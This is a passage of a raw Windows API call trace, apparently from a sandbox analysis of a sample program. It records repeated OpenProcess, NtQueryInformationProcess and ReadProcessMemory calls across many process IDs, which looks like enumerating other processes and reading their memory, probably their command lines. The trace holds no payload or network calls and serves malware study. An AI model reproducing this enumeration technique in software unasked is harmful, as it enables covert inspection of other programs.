ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.608] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.610] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.610] malloc (_Size=0x74) returned 0x20abc2831b0 [0278.610] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451964, lpBuffer=0x20abc2831b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.611] free (_Block=0x20abc2831b0) [0278.612] CloseHandle (hObject=0x16c) returned 1 [0278.612] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0278.629] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4060") returned 4 [0278.630] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.630] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x16c [0278.643] GetLastError () returned 0x0 [0278.644] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.644] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.644] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.644] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.645] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.646] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.647] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.648] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3fa020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.648] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.648] malloc (_Size=0x7a) returned 0x20abc2aa450 [0278.648] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e196a, lpBuffer=0x20abc2aa450, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa450*, lpNumberOfBytesRead=0x0) returned 1 [0278.648] free (_Block=0x20abc2aa450) [0278.649] CloseHandle (hObject=0x16c) returned 1 [0278.649] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0278.653] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4072") returned 4 [0278.654] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.654] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.683] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x16c [0278.683] GetLastError () returned 0x0 [0278.684] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.684] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.684] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.685] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x781ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.685] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7818f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.686] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.687] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.687] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x55b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.688] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7812e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.688] malloc (_Size=0x6e) returned 0x20abc2831b0 [0278.688] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x78195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.688] free (_Block=0x20abc2831b0) [0278.689] CloseHandle (hObject=0x16c) returned 1 [0278.689] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4084") returned 0x0 [0278.693] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4084") returned 4 [0278.694] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.694] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.710] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x16c [0278.710] GetLastError () returned 0x0 [0278.711] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.712] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.712] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.712] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.712] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc22fc240, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.713] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.715] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.715] malloc (_Size=0x4e) returned 0x20abc2a7ba0 [0278.715] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2a7ba0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7ba0*, lpNumberOfBytesRead=0x0) returned 1 [0278.716] free (_Block=0x20abc2a7ba0) [0278.717] CloseHandle (hObject=0x16c) returned 1 [0278.717] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0278.721] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4092") returned 4 [0278.722] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.722] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.774] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x16c [0278.775] GetLastError () returned 0x0 [0278.776] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.776] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x641ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.777] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6418f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.778] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.780] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.780] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x257020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.781] malloc (_Size=0x6e) returned 0x20abc2831b0 [0278.781] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x64195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0278.782] free (_Block=0x20abc2831b0) [0278.783] CloseHandle (hObject=0x16c) returned 1 [0278.784] _ui64tow_s (in: _Value=0xb70, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2928") returned 0x0 [0278.789] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2928") returned 4 [0278.790] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.790] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.823] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0x16c [0278.823] GetLastError () returned 0x0 [0278.824] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.825] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.825] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.825] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.825] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.827] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.828] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.828] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a7020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.829] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.829] malloc (_Size=0x68) returned 0x20abc280840 [0278.829] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521958, lpBuffer=0x20abc280840, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0278.830] free (_Block=0x20abc280840) [0278.831] CloseHandle (hObject=0x16c) returned 1 [0278.831] _ui64tow_s (in: _Value=0x420, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1056") returned 0x0 [0278.836] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1056") returned 4 [0278.837] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.837] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.856] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x420) returned 0x16c [0278.856] GetLastError () returned 0x0 [0278.857] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x27e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.857] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.858] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x111d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.858] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1118f8, lpBuffer=0x2dc22fc240, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.859] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.861] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.861] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x27e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.861] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.861] malloc (_Size=0x7e) returned 0x20abc2aa720 [0278.861] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11196e, lpBuffer=0x20abc2aa720, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa720*, lpNumberOfBytesRead=0x0) returned 1 [0278.863] free (_Block=0x20abc2aa720) [0278.877] CloseHandle (hObject=0x16c) returned 1 [0278.878] _ui64tow_s (in: _Value=0xec0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3776") returned 0x0 [0278.883] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3776") returned 4 [0278.884] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.884] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.902] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec0) returned 0x16c [0278.902] GetLastError () returned 0x0 [0278.903] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0278.903] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.904] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0278.904] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0278.904] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0278.906] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0278.907] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0278.907] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0278.908] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0278.908] malloc (_Size=0x7a) returned 0x20abc2aa4e0 [0278.908] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53196a, lpBuffer=0x20abc2aa4e0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa4e0*, lpNumberOfBytesRead=0x0) returned 1 [0278.909] free (_Block=0x20abc2aa4e0) [0278.910] CloseHandle (hObject=0x16c) returned 1 [0278.926] _ui64tow_s (in: _Value=0x1004, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0278.930] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4100") returned 4 [0278.931] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0278.931] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0278.946] OpenProcess (dwDesiredAccess=0x410, 